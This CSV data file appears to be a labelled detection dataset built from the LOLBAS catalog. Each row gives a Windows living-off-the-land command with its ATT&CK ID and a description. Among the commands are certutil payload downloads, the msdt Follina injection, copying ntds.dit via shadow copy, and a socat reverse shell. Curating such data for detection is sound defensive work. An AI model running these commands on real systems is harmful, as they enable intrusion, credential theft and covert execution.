96dc01e0531320b2b36c1fd9,"wmic.exe process call create ""{PATH_ABSOLUTE}:program.exe""","wmic.exe process call create ""{PATH_ABSOLUTE}:program.exe""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wmic.yml,Wmic.exe,ADS,"[""T1564.004"", {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute a .EXE file stored as an Alternate Data Stream (ADS),primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0f96114bdf7bd53943083839,"wmic.exe process call create ""{CMD}""","wmic.exe process call create ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wmic.yml,Wmic.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute calc from wmic,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
33b3ae24fb577b6c78eb3db0,"wmic.exe /node:""192.168.0.1"" process call create ""{CMD}""","wmic.exe /node:""192.168.0.1"" process call create ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wmic.yml,Wmic.exe,Execute,"[""T1218"", {""Execute"": ""CMD""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute evil.exe on the remote system.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c467f689df6c04af66a3435,"wmic.exe process get brief /format:""{REMOTEURL:.xsl}""","wmic.exe process get brief /format:""{REMOTEURL:.xsl}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wmic.yml,Wmic.exe,Execute,"[""T1218"", {""Execute"": ""XSL""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Create a volume shadow copy of NTDS.dit that can be copied.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6cb324ad13ed93ed94be841a,"wmic.exe process get brief /format:""{PATH_SMB:.xsl}""","wmic.exe process get brief /format:""{PATH_SMB:.xsl}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wmic.yml,Wmic.exe,Execute,"[""T1218"", {""Execute"": ""XSL""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes JScript or VBScript embedded in the target remote XSL stylsheet.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0b4496dc922324e925e1295c,"wmic.exe datafile where ""Name='C:\\windows\\system32\\calc.exe'"" call Copy ""C:\\users\\public\\calc.exe""","wmic.exe datafile where ""Name='C:\\windows\\system32\\calc.exe'"" call Copy ""C:\\users\\public\\calc.exe""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Wmic.yml,Wmic.exe,Copy,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copy file from source to destination.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5556118672bba5acfd96b49a,msiexec /quiet /i {PATH:.msi},msiexec /quiet /i {PATH:.msi},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msiexec.yml,Msiexec.exe,Execute,"[""T1218.007"", {""Execute"": ""MSI""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Installs the target .MSI file silently.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
36ebb3fee96466cfab023c75,msiexec /q /i {REMOTEURL},msiexec /q /i {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msiexec.yml,Msiexec.exe,Execute,"[""T1218.007"", {""Execute"": ""MSI""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Installs the target remote & renamed .MSI file silently.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
19e4d312cd293848699343f7,msiexec /y {PATH_ABSOLUTE:.dll},msiexec /y {PATH_ABSOLUTE:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msiexec.yml,Msiexec.exe,Execute,"[""T1218.007"", {""Execute"": ""DLL""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Calls DllRegisterServer to register the target DLL.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c0052a6ceb04fbeba9edb0d2,msiexec /z {PATH_ABSOLUTE:.dll},msiexec /z {PATH_ABSOLUTE:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msiexec.yml,Msiexec.exe,Execute,"[""T1218.007"", {""Execute"": ""DLL""}, {""Execute"": ""Remote""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Calls DllUnregisterServer to un-register the target DLL.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
df9271a5d9df69cae7dd9224,"msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS=""{REMOTEURL:.mst}"" /qb","msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS=""{REMOTEURL:.mst}"" /qb",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msiexec.yml,Msiexec.exe,Execute,"[""T1218.007"", {""Execute"": ""MSI""}, {""Execute"": ""MST""}, {""Execute"": ""Remote""}]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
53aac1f211930da36b5b363a,sigverif.exe,sigverif.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Sigverif.yml,Sigverif.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}, {""Application"": ""GUI""}]","Windows vista, Windows 7, Windows 8, Windows 10, Windows 11",0.85,False,"Launch sigverif.exe GUI, click 'Advanced', specify arbitrary executable path as 'log file name', then click 'View Log' to execute the binary.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c3aad0842fee8ccc12a8e096,odbcad32.exe,odbcad32.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/odbcad32.yml,odbcad32.exe,UAC Bypass,"[""T1548.002"", {""Execute"": ""CMD""}, {""Application"": ""GUI""}]","Windows 10, Windows 11",0.85,False,"Launch odbcad32.exe GUI, click 'Tracing' tab, click 'Browsing' button, enter abitrary command in the File Dialog's path, press enter.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8bb980851478952a5444b8a4,wt.exe {CMD},wt.exe {CMD},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/wt.yml,wt.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]",Windows 11,0.85,False,Execute a command via Windows Terminal.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e671300d020eaa57ec031fab,"ssh localhost ""{CMD}""","ssh localhost ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ssh.yml,ssh.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]","Windows 10 1809, Windows Server 2019",0.85,False,Executes specified command on host machine. The prompt for password can be eliminated by adding the host's public key in the user's authorized_keys file. Adversaries can do the same for execution on remote machines.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e98739e3b5d5c9d106a0ca79,"ssh -o ProxyCommand=""{CMD}"" .","ssh -o ProxyCommand=""{CMD}"" .",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ssh.yml,ssh.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]",Windows 10,0.85,False,Executes specified command from ssh.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
94331c8287b33ab955c36e9e,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Addinutil.yml,AddinUtil.exe,Execute,"[""T1218"", {""Execute"": "".NetObjects""}]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"AddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb3c78a8c3bfbc5ea42e918f,ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL},ConfigSecurityPolicy.exe {PATH_ABSOLUTE} {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/ConfigSecurityPolicy.yml,ConfigSecurityPolicy.exe,Upload,"[""T1567""]",Windows 10,0.85,False,"Upload file, credentials or data exfiltration in general",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8f63b4561db22ffa1afd0e2,ConfigSecurityPolicy.exe {REMOTEURL},ConfigSecurityPolicy.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/ConfigSecurityPolicy.yml,ConfigSecurityPolicy.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,It will download a remote payload and place it in INetCache.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8e9635807b7e5332f494a9bc,msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE,msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUE,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msdt.yml,Msdt.exe,Execute,"[""T1218"", {""Application"": ""GUI""}, {""Execute"": ""MSI""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3e420042a422fa88a08294bc,"msdt.exe /id PCWDiagnostic /skip force /param ""IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe""","msdt.exe /id PCWDiagnostic /skip force /param ""IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Msdt.yml,Msdt.exe,AWL Bypass,"[""T1202"", {""Application"": ""GUI""}, {""Execute"": ""CMD""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Executes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the ""PCWDiagnostic"" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f435345e2dcf8b84e76fb104,"explorer.exe /root,""{PATH_ABSOLUTE:.exe}""","explorer.exe /root,""{PATH_ABSOLUTE:.exe}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Explorer.yml,Explorer.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows XP, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute specified .exe with the parent process spawning from a new instance of explorer.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aab40b51ae1121ca48c32d69,explorer.exe {PATH_ABSOLUTE:.exe},explorer.exe {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Explorer.yml,Explorer.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Execute notepad.exe with the parent process spawning from a new instance of explorer.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
caccdd0a008bf0ffe7738e11,certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe},certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certutil.yml,Certutil.exe,Download,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Download and save an executable to disk in the current folder.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dffe1bcb280567075a937add,certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe},certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certutil.yml,Certutil.exe,Download,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ba6abc1b88b98f8d819bd92c,certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt,certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certutil.yml,Certutil.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Download and save a .ps1 file to an Alternate Data Stream (ADS).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
68196420585ed9e5d5d99c53,certutil.exe -URL {REMOTEURL:.exe},certutil.exe -URL {REMOTEURL:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certutil.yml,Certutil.exe,Download,"[""T1105"", {""Application"": ""GUI""}]","Windows 10, Windows 11",0.85,False,Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f6345e1de6ea8d663df3ab0d,certutil -encode {PATH} {PATH:.base64},certutil -encode {PATH} {PATH:.base64},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certutil.yml,Certutil.exe,Encode,"[""T1027.013""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Command to encode a file using Base64,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6cdb5d9205026686b919039e,certutil -decode {PATH:.base64} {PATH},certutil -decode {PATH:.base64} {PATH},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certutil.yml,Certutil.exe,Decode,"[""T1140""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Command to decode a Base64 encoded file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0d19b7b3714e20a10b43492e,certutil -decodehex {PATH:.hex} {PATH},certutil -decodehex {PATH:.hex} {PATH},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Certutil.yml,Certutil.exe,Decode,"[""T1140""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Command to decode a hexadecimal-encoded file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
198705bf62f1b3553399ca44,xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC},xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Xwizard.yml,Xwizard.exe,Execute,"[""T1218"", {""Execute"": ""COM""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Xwizard.exe running a custom class that has been added to the registry.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f64db374f0a00196f2533ce0,xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC},xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Xwizard.yml,Xwizard.exe,Execute,"[""T1218"", {""Execute"": ""COM""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4e2cb872028bee48f0ad1bbf,xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL},xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Xwizard.yml,Xwizard.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,"Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
752cc783154b09557da7ec79,odbcconf /a {REGSVR {PATH_ABSOLUTE:.dll}},odbcconf /a {REGSVR {PATH_ABSOLUTE:.dll}},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Odbcconf.yml,Odbcconf.exe,Execute,"[""T1218.008"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Execute DllRegisterServer from DLL specified.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f19e965cdfecb79f8332103a,"odbcconf INSTALLDRIVER ""lolbas-project|Driver={PATH_ABSOLUTE:.dll}|APILevel=2"" odbcconf configsysdsn ""lolbas-project"" ""DSN=lolbas-project""","odbcconf INSTALLDRIVER ""lolbas-project|Driver={PATH_ABSOLUTE:.dll}|APILevel=2"" odbcconf configsysdsn ""lolbas-project"" ""DSN=lolbas-project""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Odbcconf.yml,Odbcconf.exe,Execute,"[""T1218.008"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Install a driver and load the DLL. Requires administrator privileges.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
635063c101c6d9e297839471,odbcconf -f {PATH:.rsp},odbcconf -f {PATH:.rsp},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Odbcconf.yml,Odbcconf.exe,Execute,"[""T1218.008""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Load DLL specified in target .RSP file. See the Code Sample section for an example .RSP file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
781ecc1020822621d87cc7b1,esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o,esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Esentutl.yml,Esentutl.exe,Copy,"[""T1105""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copies the source VBS file to the destination VBS file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2953468b8706a05ad68300db,esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o,esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Esentutl.yml,Esentutl.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
602ad621f4d320c46020df65,esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o,esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Esentutl.yml,Esentutl.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copies the source Alternate Data Stream (ADS) to the destination EXE.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5547551884f6bfaef40d7f14,esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o,esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Esentutl.yml,Esentutl.exe,ADS,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1ed98cd85ac674e04b33db1e,esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o,esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Esentutl.yml,Esentutl.exe,Download,"[""T1564.004""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Copies the source EXE to the destination EXE file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35cde6bbbfd5ffe6259f56a9,esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d {PATH_ABSOLUTE:.dit},esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d {PATH_ABSOLUTE:.dit},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Esentutl.yml,Esentutl.exe,Copy,"[""T1003.003""]","Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server",0.85,False,Copies a (locked) file using Volume Shadow Copy,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
64e90c835a6b0ecb7078071b,Register-cimprovider -path {PATH_ABSOLUTE:.dll},Register-cimprovider -path {PATH_ABSOLUTE:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Register-cimprovider.yml,Register-cimprovider.exe,Execute,"[""T1218"", {""Execute"": ""DLL""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Load the target .DLL.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
05c7684ac3cb26f07166b616,setres.exe -w 800 -h 600,setres.exe -w 800 -h 600,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Setres.yml,Setres.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]","Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022",0.85,False,Sets the resolution and then launches 'choice' command from the working directory.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ffff652860a12f6acaa2949d,Pcwrun.exe {PATH_ABSOLUTE:.exe},Pcwrun.exe {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Pcwrun.yml,Pcwrun.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Open the target .EXE file with the Program Compatibility Wizard.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f8685ed3d9ca3558977f19e9,Pcwrun.exe /../../$(calc).exe,Pcwrun.exe /../../$(calc).exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Pcwrun.yml,Pcwrun.exe,Execute,"[""T1202"", {""Execute"": ""EXE""}]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
12e21ad60d93239572690afd,write.exe,write.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/write.yml,write.exe,Execute,"[""T1218"", {""Execute"": ""EXE""}, {""Requires"": ""Registry Change""}]","Windows 10, Windows 11 (before 24H2)",0.85,False,Executes a binary provided in default value of `HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\wordpad.exe`.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b1fdc21180fde42d5ec72652,cipher /w:{PATH_ABSOLUTE:folder},cipher /w:{PATH_ABSOLUTE:folder},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cipher.yml,Cipher.exe,Tamper,"[""T1485""]","Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,Zero out a file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
10404c36e2e5f12b66def9db,cipher.exe /e {PATH_ABSOLUTE},cipher.exe /e {PATH_ABSOLUTE},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Cipher.yml,Cipher.exe,Tamper,"[""T1562""]",Windows 10,0.85,False,Encrypt a file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d028363bd5f75d02cdf0b89d,psr.exe /start /output {PATH_ABSOLUTE:.zip} /sc 1 /gui 0,psr.exe /start /output {PATH_ABSOLUTE:.zip} /sc 1 /gui 0,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Psr.yml,Psr.exe,Reconnaissance,"[""T1113""]",since Windows 7 (client) / Windows 2008 R2,0.85,False,"Record a user screen without creating a GUI. You should use ""psr.exe /stop"" to stop recording and create output file.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
76e2d6d55c59abd9da467851,Ldifde -i -f {PATH:.ldf},Ldifde -i -f {PATH:.ldf},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Ldifde.yml,Ldifde.exe,Download,"[""T1105""]","Windows Server with AD Domain Services role,  Windows 10 with AD LDS role.",0.85,False,"Import specified .ldf file into LDAP. If the file contains http-based attrval-spec such as `thumbnailPhoto:< http://example.org/somefile.txt`, the file will be downloaded into IE temp folder.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f9cada56f46c4823bdd36239,"bash.exe -c ""{CMD}""","bash.exe -c ""{CMD}""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Bash.yml,Bash.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]",Windows 10,0.85,False,Executes executable from bash.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aa13ba959f3fa10b2bf93f0f,"bash.exe -c ""socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane""","bash.exe -c ""socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane""",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSBinaries/Bash.yml,Bash.exe,Execute,"[""T1202"", {""Execute"": ""CMD""}]",Windows 10,0.85,False,Executes a reverse shell,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
